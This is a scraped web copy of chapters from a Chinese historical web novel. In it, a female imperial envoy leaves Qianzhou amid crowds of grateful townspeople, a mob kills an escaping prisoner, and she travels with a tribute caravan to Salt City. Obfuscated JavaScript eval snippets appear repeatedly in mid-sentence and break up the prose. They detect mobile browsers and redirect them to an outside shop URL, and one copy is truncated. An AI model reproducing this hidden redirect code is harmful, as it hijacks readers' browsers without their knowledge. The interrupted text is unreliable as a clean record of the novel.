“不愧是朝中几十年难得一见的女钦差。瞧瞧多么会说话,英雌,我还是头一次听说,以往总有人称呼我为英雄,总觉得有点儿不对劲儿。我年纪大些,妹妹,你真是个妙人啊。” “这一路上都听说朝廷派来的女钦差何等的英明神武,那双眼睛只需要一扫就能将对方做过的亏心事逼问出来,说一句白泽转世都不为过。都说百闻不如一见,我今儿个算是知道这句话啥意思了。妹妹你放心,这一路上有我在,绝对会保证你们的安全。这条路我少说走了也有八回了,顺当的很。” 感受着肩膀处那巨大的力道连绵不绝,九阙忍不住勾了勾唇角,她就是喜欢这样豪爽不羁的人。而且这位百衣将军不管因为什么,表现出来的善意都值得她诚恳以待。 一行人见过,彼此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501281|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打了个招呼,还款待百依淳和属下在府衙休整了一夜。未免夜长梦多,他们第二天一大早就趁着大多数人没醒出去。马蹄和车轮碾在路上的声音略显空旷沉闷,此刻大多数人还在梦乡,他们现在走倒是不会引起太大骚乱。 朝廷派来的新任知府已在上任途中,不日即将到任,九阙已经做了所有自己能做的事儿,也算无愧于心了。 为了避免惊扰百姓,众人十分安静,远远看见紧闭的城门,九阙松了口气,虽说在黔州的时间不长,但这里的百姓依旧如全天下的那般淳朴,由衷希望他们从今以后能过上和平安宁的日子,顺顺利利的度过余生。 只是走在前面的侍卫在打开城门的那一瞬突然沉默,这种近乎诡异的沉默传到后方,也惊动了九阙。 “怎么了?” 百衣淳向来不喜欢坐马车,因此她是走在最前面的那批人,这会儿骑着马面色诡异的来到九阙马车旁,敲了敲窗柩。 “我想,这得你亲自出来看看。” 九阙有些疑惑,干脆掀开窗帘探出头去,然后就见到晨光中如雕塑般静默的,一大批人。 离城门最近的是第一个喊冤的汉子。他手脚俱断,此刻是被别人帮忙架起来站着,在看到九阙的一瞬间,那双原本麻木的眼中瞬间爆出大团光亮。 “应大人!草民来送您了。愿您此后一帆风顺,官途畅通!加官进爵!” 紧接着是站在他身边的其他苦主,他们用尽全身力气大声喊出祝福,原本寂静的黔州城,此刻迅速热闹起来。 “应大人!小人在家中供了您的生祠,日日上香,供奉清果,愿您岁岁平安,健康如意!” “应大人要身体健康啊!” “大人姐姐,我要努力进学,以后要像你一样做个明察秋毫,爱民如子的好官!” “我也一样!” “还有我……” 第一百二十九章 万民相送 “……” 轻柔的晨光中这些苦苦等了一夜的百姓脸上虽有疲惫,但更多的是祝福和不舍。 说实在的,他们与这位朝廷派来的女钦差相处时间并不多。但这短短的数日相处却足够让他们知道这是位爱民如子,愿意为百姓张目的好官,这世上好官难得啊! 而且这位钦差是实实在在为他们解决了难题。那些原本以为直到自己死都等不到仇人认罪服法的普通百姓们,没有同等经历的人是不会理解他们对应九阙的崇拜爱戴的。因为是她将这些人从无尽的痛苦中拯救出来。对大家而言,应九阙就是他们的救星。 可惜这位救星脾气性情略显羞涩了些,平日里他们但凡热情些就会将这位女官吓得不敢出门儿。大家其实很想表达一下自己心中的感激,奈何一直找不到机会。在得知这位大人很可能会因为没有通报朝廷就将那些贼人处刑而受到惩罚后,众人只能想出这么个笨办法来。 九阙一行人的马车在缓缓向前挪动,她已经打开车帘站在了车架前方。周围的百姓狂热呼喊她的名字,九阙突然觉得鼻子略显酸涩,她自认为其实也没做什么重要的事,可她所做的每一件事都被百姓们牢牢记在了心里,这种彼此互相惦记的感情让九阙忍不住双眼发红。 在狂热的欢呼声中,九阙对着两旁的百姓弯腰行礼,久久不曾起身。 人群中簇拥出一位德高望重的老人,那是一位四角俱全的老婆婆,平日里声望很高。她手里捧着两样东西,车队见状也缓缓停下。 九阙在淳于霜的帮忙下跳下马车,安静的走向那位老婆婆。那位老婆婆手里赫然捧着一把大大的伞,以及一件叠在一起的衣服。 那位老婆婆如今已有九十岁高龄,九阙对她印象很深。之前梁恒的手下侵占她独女家中田地,还将她女儿女婿打伤,就是这位垂垂老矣的老者勇敢递上状纸,为自己女儿女婿一家求得个公平。 此刻这位老人手捧那把沉重的万民伞郑重其事的交给九阙。九阙缓缓打开,伞面内部写满了名字。大多数都十分粗糙,可见写下自己名字的人之前或许并不识字。或许他们练了许久才写下这稍显丑陋的字体,可每一笔每一划里,都蕴含着他们真挚的情感。他们写的认真极了,九阙甚至能看到周围这些百姓手中洗不掉的墨痕,也不知他们私底下练了多久才能完整写下自己的姓名。 春夏之际的阳光稍显热烈些,而此刻在万民伞的遮挡下,九阙只感到一片清爽阴凉。 她突然觉得鼻子发酸,眼圈也红红的。 那位老者紧接着把手中叠好的衣裳抖开,那是一件大大的斗篷样式的外袍,那是用一块又一块巴掌大小的布缝制而成的斗篷。每块布都有不同的颜色,不同的布料,似乎是从谁的衣服上裁下来那么大一块儿,连在一起组成了这衣裳。 那位老者咧开没牙的嘴露出了灿烂的笑脸,脸上的每一根皱纹似乎都蕴含着无尽的欢喜。 “应小大人,我们都是群目不识丁的平民,您这一走说不定不会再回来,我们深感大人的恩德,也没什么好送的,这把万民伞和万民袍算是我们的一点小小心意,还请大人千万收下,不要推辞。” “……” 九阙低头看着身上这套衣服,突然觉得有些羞愧,她深感自己没做什么,可却得到了百姓如此尊重爱戴,实在是受之有愧,而那些站在旁边的百姓们似乎猜到九阙会说什么,此刻齐刷刷跪下,山野之中只回荡着众人急切的声音。 “大人您就收下吧,若是您连这些都不收下,我等实在是难以安心。您这一去说不定会受到朝廷的责罚,可您都是为了我们这些毫不相干的人,我们实在拿不出其他东西,唯此二物,还请大人千万收下。” “是啊,大人您就收下吧,你要是不收下,我们今儿就不起来了。” “对!我们就不起来了。” 九阙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501282|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哭笑不得,这还强买强卖起来了?但见到众人这般,实在是盛情难却,只好收下。 只是她实在抑制不住眼中的酸涩,深深的弯下腰去对着四周的百姓行以深深地一礼。 “诸位,山高水长,我们定有再见之日,希望诸位安居乐业,安度余生。” “新任知府已在赶来的路上,这位知府由陛下亲自挑选,定是位清正廉明的好官。诸位不必担惊受怕,以后黔州会越来越好。” “那就多谢大人吉言了,大人放心,我们会好好过日子,您也要好好的!” 短短数十日的相处,竟让陌生的双方彼此之间留下深厚的情谊。 站在一边儿做个隐形人的百花淳口中啧啧称奇。她当了这么多年的官儿,还从未见过这般官民相亲的场景。看来这位难得的女钦差倒真是个做实事儿的好官。这事她可得大肆宣扬一番,免得朝中那群臭男人只知道用男人做官,不知道女人的厉害。 淳于霜见到此情此景也是心中澎湃,万民景仰,而且是真真正正的万民伞和万民袍,纵观历史也只出现了数次,连五个手指头都填不满。而在她身边竟有这么个真实的例子,且被百姓赞颂的人竟还是她的知己好友。这等情形怎能不让他激动?或许她以往心中默念的女子入朝为官之景,已不 远了。 有了这幅情形,回到朝中谁还谁敢指责九阙未经陛下允许就处罚这么多贪官污吏?更何况她手中还有陛下亲赐的打神鞭,上打王公下打罪人,再名正言顺不过了。且今日这幅情形必定会被记载入史册之中,她这个参与其中之人也能沾沾光,在青史上留名了。 谢明尘魏渊两个彼此对视一眼,十分服气。尤其是魏渊,若是以往内心才会暗暗觉得应县主能有今日之地位,与陛下的偏宠脱不开关系,可经过这将近两个月的相处,他才真正明白应县主能以女子之身走到如今这个位置,是因为她配得上!因为她有这个能力! 第一百三十章 汇合 这边官民相亲,待在囚车里的梁恒按住砰砰直跳的心脏,也说不出自己此刻是个什么滋味。曾几何时,他也曾想过这样的场景,也曾想过自己要做个为民做主的好官,让百姓都能交口称赞。可现在说什么都晚了,他早已不是当初那个读书识字只为了百姓的少年。这么多年过去,风霜满面,他已变成了如今碌碌无为的阶下囚。 在意吗?其实到底是在意的,但就算再怎么在意也已经晚了。这世上从来没有的,就是后悔药。 那个应九阙确实出众。但这又有何妨?只要今日他能逃脱一死,总有卷土重来的机会。主上什么时候才会出手? 就在此刻,众人依依惜别之际,有几个人悄悄摸向囚车那边。一直密切关注自己周身情况的梁恒自然注意到他们的举动,心中禁不住一喜,但依旧能按耐得住,若是此刻吸引了众人注意,定没有他的好果子吃。 只是心里在悄悄呐喊,快点儿,再快点儿啊。 但就在此刻,旁边有眼尖的百姓突然注意到有人悄悄摸摸的到囚车那边不知道倒腾什么顿时放声尖叫。 “不好!有人要劫囚车!那梁恒要跑了!” 这一声简直石破天惊,原本正密切关注准确的百姓同一时间回头,场面诡异的很,那已经将牢门打开,准备将梁恒弄出来的人只觉得浑身上下汗毛直竖,一抬头就发现周围所有人直勾勾盯着自己看的模样。简直三魂吓丢了七魄! 怎么回事?这群百姓不是正在送应九阙?什么时候回过神来的?不,现在不是说这个的时候他们得赶紧走,奈何周围的百姓实在太多了,不说上万,最起码也有几千,人山人海的,他们根本挤不出去,尤其是在周围几千双眼睛的注视下根本无处可逃。 “梁恒狗贼要跑!快抓住他!” “你还敢跑?大人留你一命是为了带你回京接受陛下惩罚,你竟然还敢逃?” 九阙都没来得及发话,梁恒以及周围那些截囚车的人已经被淹没在了人民群众的海洋里。 天啊,此事过后许久再回想起当时场景的九阙等人依旧觉得毛骨悚然。在此之前他们也觉得百姓柔弱,但万万没想到没有爪牙的百姓发起火来才是最可怕的。几千个百姓愤怒的扑向梁恒,而他们已经被眼疾手快的百姓和百花淳等人护送到旁边儿。只听到人群最密集的地方惨叫连连,群情激愤。只是很快,连惨叫声都没了。 等一切都好不容易安静下来之后,九阙站在马车上遥遥一望,只看到里面有堆碎肉,也分不清到底是谁了。原本等着自己主上救人的梁恒硬是连哼都没哼一声就死在了这群自己最看不上的平民百姓手里。 冷静下来的众人知道自己犯了错,站在旁边儿讷讷不敢言,不少人身上都沾染着些许血迹。 九阙上前查看了一番,她对地上那堆碎肉倒是接受良好,在矿山上,在无忧洞里,她什么样的惨状没见过?只是扒拉来扒拉去,也没找到什么有用的东西,倒是在沾满血的衣服堆里找到一朵被鲜血浸满的朝颜花。 看到这朵花,九阙忍不住眯了眯眼。这东西出现的频率有点儿高啊,似乎近些时日来所有案子都有它的身影。这莫不是昭示着这些案子背后有固定的组织?那双大手此刻又来彰显存在感,可九阙依旧摸不着头脑。可惜了,本来还想着从梁恒口中逼问出幕后主使到底是哪位皇子呢! 叹了口气,抬头看看那些自觉做错了事有些瑟缩的百姓,九阙无奈的笑了笑。 “诸位不必惊慌。梁恒身为朝廷钦犯,意图逃脱,本就是取死之道,诸位帮忙抓住他也是大功一件,不过此事人数众多,单个嘉奖不太可能,我倒是可以上奏陛下,请他在城门处立一块儿碑,上面尽数记载梁恒之过,以及诸位勇斗贪官的英勇事迹!” 周围人你看看我我看看你,猛然欢呼起来! “好啊!多谢应大人!” “咱们黔州城要立碑了——” 于是一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501283|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 场风波消弭于无形。 不过送君千里,终须一别。在这晨光熹微的城门外,被无数认识或不认识的百姓包围,九阙终于还是依依不舍的踏上了离开的脚步。 只是车队走出去老远,九阙打开帘子,伸出头往后一望,那些百姓依旧如同雕塑般站在原地,直直的看向自己的方向。九阙突然忍不住鼻酸,狠狠揉了揉眼睛。 马车内,淳于霜递过来一方干净的帕子,她的内心也不平静。她可算长了见识,自己也是见证历史诞生的人了。不过看看旁边的好友揉搓眼睛的稚嫩模样,不由觉得好笑。 “你哭什么?这又不是什么坏事,你想想,纵观史册能有几人有你今日这般待遇?可见这黔州百姓是真正将你放在心上了。” “我知道。我就是觉得有些伤感,其实我也没做什么,可大家这般看重,倒是让我心里不太好受。” 这当官的不就是要为百姓做主吗?要不还做什么官儿啊?像他以前就听过这么一句话,当官不为民做主,不如回家卖红薯…… 等等!红薯这等产量大的东西,她么自从来到这个时代之后从未见过?难道这玩意儿现在还不在大景朝的土地上? 得找个机会告诉陛下寻一寻这等产量 极大的作物。现在先不说吃多了会胀气这种小毛病,得先让百姓填饱肚子。这一路走来,虽说勉强风平浪静,可这几年的天灾人祸他也经常耳闻,有很多百姓根本填不饱肚子…… 想着想着九阙又发起了呆,旁边的淳于霜本来还等着她能说出什么惊世骇俗之话,结果一扭头就发现自家好友已然是一副出神的痴呆模样,忍不住笑了一下,也不去打扰,掀开帘子看着外面的风景,难得休息了起来。 这一路走来她也是累的不得了,好不容易能休息会儿,还是不要打扰九阙了…… 马车晃晃悠悠,速度倒也不慢,不过大半日就走出去了二十里,终于和远处驻扎的进贡军队汇合! 第一百三十一章 大部队上京 还没到地方,远远的九阙就看到那里停着很多人。营地一片连一片的,不过他们虽然聚集在一处,彼此间却又泾渭分明。 似乎是察觉到九阙的好奇,百衣淳笑呵呵的给她解释。 “应大人大概不知道我们这边的特色,我们家乡那边太偏僻,但是因为温度较高,水果长得好,还有一些珍贵的药材,因此每年都要给朝廷进贡。但是我们那里人口不多,每个州县能出来的人手有限。这一路上虽说没什么胆大的盗贼敢对贡品下手,但长路漫漫,难免会出点差错,因此我们周围这几个州县的人每次进贡都会选特定的时间,好能聚集在一处,彼此间也有个照应。” “应大人别嫌弃我们这人多吵啊。” 说到最后百衣淳还开了个玩笑,她当然知道这位难得对脾气的女官不会感到被冒犯,不过以往进京,她没少因为言语无状而得罪人,其实百衣淳根本不觉得自己说的话有什么不对,可那些官员总觉得自己被冒犯了。 真是闲出来的毛病! 人吃五谷杂粮,说四面八方,总会有说错话的时候,那些人怎么那么小气?不过略说几句话就生气了。生气也就算了,表面上还不肯表露出来,非得背地里使绊子! 她以前上京进贡的时候确实遇到过这样的官员。表面上笑眯眯的,好像一点儿也不生气,回头就给她送的贡品扣上个品质不佳的帽子,白白挨了好一顿训斥。 这可把百衣淳给气的,恨不得冲上去打那官一顿。然而她这个小小的偏远地方将军哪能入得了军官的眼?她甚至都挨不着人家的门,只能闷闷不乐的回去,虽说长官也没因此责怪她,但百衣淳却记了好长时间。 果然,九阙甚至露出了好奇的表情。 “我还从未见过进贡的队伍。所以说营地里的大伙儿都认识吗?不知来自哪些州县?” 百衣淳悄悄松了口气,继而扬起大大的笑脸,一把揽过九阙的肩膀带着她往营地走去。 “走走走,这还不简单,我带你去见识一下。你别说,虽然咱们都是来自小地方的,可大家都很热情。尤其是听说你在黔州做的事儿之后,大伙儿可都盼着呢。虽然他们没进黔州城,可心里肯定盼着我回去跟他们讲讲这一趟。我还想着给他们讲讲咱们出来时候那种盛况呢……” “不用不用,这都是些小事。百衣将军还是做正事儿吧。当着我的面说这件事儿实在太羞耻……” “害羞什么?这可是好事儿,难道你做了什么对不起百姓的?既然没做过,你又是乾州城百姓的大恩人,就无需想这么多。而且我们还想请你讲讲京城的情况,咱们这也整整一年没进过上京了。也不知道里边有什么变化没?咱们这群乡巴佬啊,每次进京都担心自己会摸不清形式得罪某位大臣,你是不知道啊京城里那群官儿。当真不是什么好东西,随便一张嘴就把咱们的路给卡了,要么就是加重上供的数量,你说说,咱们这万里迢迢的好不容易带着这些东西进了京,像我们州县进贡的药材还好说,有的州县进贡的是水果,那玩意儿,隔个十来天就坏了。偏偏我们那地方气候炎热,水果一年四季都有,不得不每年都上供,为了保证抵达京城时数量品质都上乘。出发之前得带十倍于贡品的水果,那叫一个累啊……” “原来这一路这么辛苦啊。诸位真是受累了……” “嗨,这都习惯了。来来来,我带你认识一下这位是四方城的程主簿,他们那边儿进贡的是一种难得的香料。据说宫中常用做菜的时候其实也能用上,不过因为价格昂贵,很少有人这么用,不过你跟着咱们,这一路上少不了你用的。那些品质最上乘的自然要呈给陛下,但是品质一般的也能吃啊。我跟你说啊,他带来的那个香料,烤肉的时候撒上一些,滋味那叫一个绝了……” 九阙也没什么别的爱好,就好个吃,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501284|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听到这话,哈喇子都快流出来了。 十分诚恳的跟程主簿打招呼,并且用力地握住百衣淳的手。 “那我就等着了,实不相瞒,我最爱个口腹之欲。这回去黔州被关了那么多天,可是把我馋死了。我这里倒也有几个做菜的食谱,到时候咱们一起研究研究……” 那位程主簿为人十分和善,听到这话眼中闪过一丝精光,笑眯眯的。 “当然可以,我也是个好口腹之欲的。这天底下啊,要说香料最多的,那自然得数我们四方城,来来来,一块儿看看咱们带过来的香料。保证你有许多从未见过!” 既然对方这么热情,九阙也跟着过去看了几眼,发现这马车上摆的满满当当的,有一些自己还真没见过,顿时对今日的伙食起了很大兴致。 驻扎在营地的队伍,不管哪个,领头的对九阙的态度都相当好。一是因为对方在黔州这些时日的表现,二是因为对方毕竟是朝廷派出来的官员,最起码也是个京官儿。他们这些在外做官的,最怕的就是那些京官背地里搞事儿。 因此一时间双方的气氛那叫一个和乐。而接下来双方确实相处的很是和谐。毕竟九阙他们一伙人只想平平安安的到达京城,把这次的任务妥帖的上报给陛下。而百衣淳他们的目的也是一样的。在同样目的的趋势鞭策下,众人很是能和谐相 处。 而九阙,也如愿尝到了用特殊香料烤制出来的烤肉,那叫一个香,她一连吃了三天都不觉得腻。心里琢磨着这次回去陛下估计会有所赏赐,不如就请陛下赐一些香料,也好让家里的小孩子们也一起尝尝。虽说已经和魏主簿交换了一些普通的香料,但是有好的,谁都想尝尝啊。 她原本以为此行的队伍已经足够壮大,可谁曾想跟着大部队走了五天左右,竟然又迎头遇上乌泱泱的人群。这些人还带着大车大车的货物,就像搬家似的,那叫一个热闹。 第一百三十二章 盐城 老远就看到这乌泱泱的人群,九阙忍不住好奇。 “他们也是进京上贡的队伍?这怎么还带着这么多货物?” 九阙有这个疑问也很正常,毕竟虽说和她一起走的都是进京上供的队伍,可大家带的贡品到底有限。像前面儿这一眼望不到边儿的队伍属实有点儿奇怪。 只不过百衣淳的眼力可比平常人好的多,她盯着那些看起来浩浩荡荡的车队许久,皱了皱眉,脸上露出凝重的表情。 “或许是他们遇上问题了。你别看那浩浩荡荡的全是车,都是空的。” “啊?” “空车?他们运这空车做什么?” “他们这或许不是上京的队伍。我记得前方不远处是盐城,盐城每年确实需要运送大量食盐到京城,毕竟大多数地方不产盐,井盐还是太少,盐城的地位毋庸置疑,只是看他们怎么样愁云惨淡的。很大可能是出事儿了。” 九阙忍不住皱眉。她知道古代盐的产量很少,只有几个固定的地方出产,而在这时代盐就是一个国家的经济命脉,如果盐的出产出了问题,说不定会引起一波动乱。 而此刻不仅他们发现了前方浩浩荡荡的队伍,前方之人也已经发现了他们,不多时就从那拥挤的人群中出来一个骑着骏马的中年将军。 那人似乎与百衣淳相识,隔着大老远就打招呼,百衣淳也扬起一个笑脸。不过九阙与她相处这些天,也能看出来百衣淳虽然脸上是笑的,可心里似乎不太高兴,好像和面前那人只是表面关系不错。 那中年将军很快就到了跟前,九阙也跟着听了听,然后就忍不住皱眉。 “百衣将军许久不见,依旧风姿绰然啊。看来今年贡品收集不错,哪像我们啊,这整天风吹日晒的,盐的产量还是不足。周围的大伙儿需求又太大,我们这都快赶不上趟了。” “赵将军这说的是哪里话?要是没有你们盐城的盐井,咱们周边这些县郡的日子可要难过了。谁不知道正是因为滨阳王的大度,我们周边这些县郡买盐的时候价格都低了许多?说到这里,赵将军,我有个不情之请。今年卖给苗城的盐能不能再多些?我们已经足够省吃俭用,但盐这东西总是不嫌多的。” 九阙有些惊讶的看着百衣淳,在她的印象里百衣淳足够爽朗大方,但自有一股傲气,就算面对上官也不会卑躬屈膝,之前不是还跟京城里的官员发生了冲突吗?然而在面对这个与自己平级的赵将军时,她的态度却恭敬的有些谄媚了。 而那个赵将军的态度也值得玩味。他与百衣淳明明是平级,此刻却理所当然的享受着对方的恭维,甚至还有种高高在上的意思,说出来的话也十分敷衍。 “百衣将军,不是我们盐城不给延,实在是大半个天下的盐都来自我们盐城,就算盐井的工人日夜不停能产出的食盐数量也有限呀。每年还要给京城进贡一大部分,剩下来的就寥寥无几了。不过……” 说到这里,那中年将军的话音一转,见事情可能有转机,百衣淳立马上前一步,十分诚恳的捧场。 “不过什么?若是有为难之处,将军只管吩咐。我百衣淳别的没有,一把子力气还是有的。” 那赵将军眼中闪过一丝鄙夷,虽然很快就消失不见,但九阙发誓百衣淳绝对看到了,但她却跟没看到一样,依旧笑眯眯的。 “不过若是百衣将军真心想要,我们这里倒是有一批因为工人失误提纯的不怎么精心的盐。本来是准备给渤海城的,不过咱们盐州和苗州的关系一直不错,王爷也几次三番念叨着一定要厚待苗州。如果百衣将军不嫌弃的话,倒是可以将之带走。” 九阙敏锐的发现百衣淳袖子里的手微微一动,她不知道对方是不是握紧了拳头,这会儿也只能保持了沉默,在不知道真实情况之前,她不能贸然开口,免得给百衣淳带来麻烦。 果然,百衣淳几乎连个磕绊都没打,立即笑盈盈的表示。 “不嫌弃, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501285|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当然不嫌弃。只要有盐吃,谁会嫌弃呀?就是这价格方面,还是跟以前一样?” “百衣将军,说到这事儿我就生气啊。咱们盐州就那么几个盐井,谁知道底下那些工人不仅不感恩王爷给他们银子的恩德,甚至还偷奸耍滑。以至今年的盐产量大大降低,所以这价格嘛……自然也会上升一些,不知百衣将军能不能接受?” “理解理解,产量少了价格自然会升高,只是不知涨到了多少?” “价格比以往要高出三成,若是百衣将军愿意,那批盐正好准备妥当,只等着您去验收,咱们一手交钱一手交货,钱货两讫谁也不欠谁,不知你意下如何?” 百衣淳回头看看队伍,估算了一下时间,觉得可以在约定的日期之前进京,于是干脆的点了点头。 “当然可以,只是要麻烦赵将军等一会儿,我把这一大帮子人安置好,就跟着赵将军进城。” 赵将军纡尊降贵的瞧了一眼她身后那一大批人马。知道这是最南边儿那些顶穷顶穷的州县出来的进贡队伍,虽说心里有点儿看不起的意味,但不会傻到说出来。刚好也让这起子穷鬼看看他们盐州的实力。以后把盐卖给他们,也可以自然而然的提高价钱。 “当然 可以,百衣将军这就请吧。” 从始至终,赵将军都没把眼神往九阙身上瞟一下。在他看来,这不过是百衣淳身边带着的亲戚。苗州那边傣族混居乱的很,女子也能当家做主,实在是荒唐。不过苗州那边的风俗就是如此,赵将军也不想跟百衣淳这个空有武力的女人一般见识,所以直接忽视就行了。 百衣淳立即转身安排人马驻扎休息,九阙跟在她身后,终于找了个空当轻声询问。 “百衣将军,刚才那人是谁?怎可如此说话?十分没有规矩。” 百衣淳立马神情紧张的把九阙拉到一边,左右看了看,发现那赵将军依旧鼻子仰的老高,不肯往他们这边儿走一步才放下心来。 第一百三十三章 低声下气 “嘘!可不要让他听到,那个姓赵的心眼儿最小了,要是被他听到,说不定要断我们苗州的盐。” “断苗州的盐?他敢吗?” 盐城的盐九阙之前也听说过,不是要供给天下吗?他怎么敢说断就断?这可是天下百姓的生计啊。如果人长时间不吃盐就会变得没力气,没力气还怎么耕种生活? 听到这话,百衣淳有些伤感。 “如果是普通人,当然不敢这么做,可问题是盐城的滨阳王不是普通人,他是当今陛下的义子。陛下对自己的孩子有多宠爱举朝皆知,更何况滨阳王还曾帮着陛下打天下。他是因战功封王的,和普通皇子不太一样。更何况这盐是盐城产的,他想卖给谁卖给谁。轮到我们就说一声今年的盐已经卖完了,我们能怎么办?总不能打上门去吧,谁会为我们做主?” “所以对盐城的人,咱们一般都是尊着敬着的。反正只是说几句好话而已,没什么大不了的。九阙你要是不想看,要不就先待在这儿吧?里面的人态度不怎么好。我倒是已经习惯了,倒是你,估计受不了这种怠慢。” 九阙摇摇头,若有所思。 若是之前不知道盐城的情况也就算了,可如今分明已经知道,怎能坐视不理? “百衣姐姐,我从未去过盐城,不知道盐是怎么产出的。很想见识一番,你就带我去吧,我保证不多说话,不主动惹事儿。” 九阙扯着百衣淳的袖子晃来晃去,百衣淳怎能受得了对方的撒娇?她向来有点儿大女子主义,见九阙这样,骨头都软了,脸上的笑几乎都绷不住,努力了好长时间才勉强扯平嘴角,故作为难的表示。 “那行吧。不过若是有人给你气受,你千万忍着,哪怕过后咱们再报复呢,绝对不能今儿个得罪人。毕竟我苗州百姓还等着这里的盐。” “那是当然,姐姐放心吧,我能做到。” 别看九阙答应的那叫一个快速,身后的纯于霜抽了抽嘴角,如果不是亲眼所见,她还真见不到九阙为了达到目的跟别人撒娇的场景,这可真是千古奇闻啊,她得用这双眼睛好好记下来,说不定什么时候可以拿来威胁对方一把。 九阙悄悄给了她一个白眼儿。 百衣淳统领部队的能力相当出众,不一会儿就整顿好了身后的队伍,同时带上了大量金银,以及苗城特产。 那位赵将军早就等的不耐烦,见他们终于过来,语气还有点儿冲! “百衣将军当真事务繁忙……咱们这就走吧。” “……” 这个姓赵的到底在高傲什么?难道有盐就这么任性? 百衣淳这是不知道他心里在想啥,要是知道还真得点点头。这年头有盐的人说话底气就是比别人足。毕竟天下食盐的产量不多,而天下之人可以不吃糖,却不能不吃盐。 像她这样能用金银买到食盐的已经算是幸运。更北边儿的地方,那里没有盐湖盐井,还得花大价钱从盐城买,再万里迢迢的送回去,这一来一往的盐的价格就更高了,底层普通百姓根本买不起精盐,连粗盐都价格昂贵,大多数普通百姓只能用醋布。不过像九阙这样从小在京城那等富贵之地长大,且年纪轻轻就受到陛下重用一路扶摇直上的孩子,大概是不知道什么叫醋布。 还是先别让这姑娘知道了,虽说与九阙相处的时间不长,但百衣淳能看出来九阙是个重情义的好孩子。若是让她知道,势必又是一场动乱。这孩子才刚从黔州那一大摊子事儿里出来,要是再沾染上盐城的事儿,回去之后势必会受到陛下惩罚,毕竟滨阳王可是陛下疼爱的义子,就算陛下再怎么重视九阙,她毕竟是个外人,外人和家人的区别想来陛下很是清楚。 九阙当然不知道百衣淳想了些什么,她只是觉得这位性格爽朗的姐姐总是隔三差五的看自己一眼,而且一旦有离开的念头就会扯住自己。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501286|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 算了算了。她还是跟在这位姐姐身边吧,免得对方担心自己。只不过九阙要进城,魏渊等人势必也要跟着。这一来一往的,人就多了。那位陆将军似乎有些不开心,不过也没多说什么。 听说盐城是天下产盐最多的地方,九阙还以为进去之后会看到满地的盐呢,结果不过是座普通的城池。略看了几眼,也没什么特别的,于是保持了安静,免得打扰到百衣姐姐的买卖。 他们这一大群人进城,路过的百姓只是偶尔看一眼,然后就默默退到了旁边,根本不敢多惹事儿。 九阙本来还想看看这里的民生情况,但是他们这么多人一起,那些百姓一见就跑了,逮都逮不住。叫她好生郁闷,好不容易碰见个挑担子的小贩,虽然看起来身材高大,但身上似乎没什么肉,衣裳也晃荡的厉害。他挑的那担子并不重,里边儿无非放着些货物,但这小贩走起路来却摇摇晃晃,没力气似的。 